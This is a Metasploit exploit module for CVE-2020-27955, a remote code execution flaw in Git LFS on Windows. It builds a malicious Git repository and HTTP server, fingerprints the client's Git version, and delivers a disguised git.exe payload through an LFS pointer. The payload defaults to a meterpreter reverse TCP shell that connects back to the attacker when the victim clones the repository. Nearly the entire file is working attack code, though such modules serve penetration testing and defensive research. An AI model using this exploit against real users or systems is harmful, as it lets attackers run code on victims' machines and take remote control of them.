##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
        'Description' => %q{
          A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
          versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
          into cloning the attacker’s malicious repository using a vulnerable Git version control tool
        },
        'Author' => [
          'Dawid Golunski ', # Discovery
          'space-r7',        # Guidance, git mixins
          'jheysel-r7'       # Metasploit module
        ],
        'References' => [
          ['CVE', '2020-27955'],
          ['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
        ],
        'DisclosureDate' => '2020-11-04', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Git LFS <= 2.12',
            {
              'Platform' => ['win']
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options([
      OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
    ])
    deregister_options('RHOSTS')
  end

  def setup_repo_structure
    payload_fname = 'git.exe'
    @hook_payload = generate_payload_exe

    ptr_file = generate_pointer_file(@hook_payload)
    git_payload_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_fname = '.gitattributes'
    git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr_fname)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr_fname,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '100755',
          file_name: payload_fname,
          sha1: git_payload_ptr.sha1
        }
      ]

    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, git_attr_obj, git_payload_ptr
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  #
  # Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
  # The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
  # exploitable by this vulnerability.
  #
  # Returns +true+ if the target is suitable, else fail_with descriptive message
  #
  def target_suitable?(user_agent)
    info = fingerprint_user_agent(user_agent)
    if info[:ua_name] == Msf::HttpClients::UNKNOWN
      fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
    end

    if info[:os_name] == 'Windows' &&
       ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
         (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
      true
    else
      fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
    end
  end

  def on_request_uri(cli, req)
    target_suitable?(req.headers['User-Agent'])
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req, @hook_payload, @git_addr)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end
    cli.send_response(response)
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def handle_lfs_objects(req, hook_payload, git_addr)
    git_hook_obj = GitObject.build_blob_object(hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def exploit
    setup_repo_structure
    super
  end
end
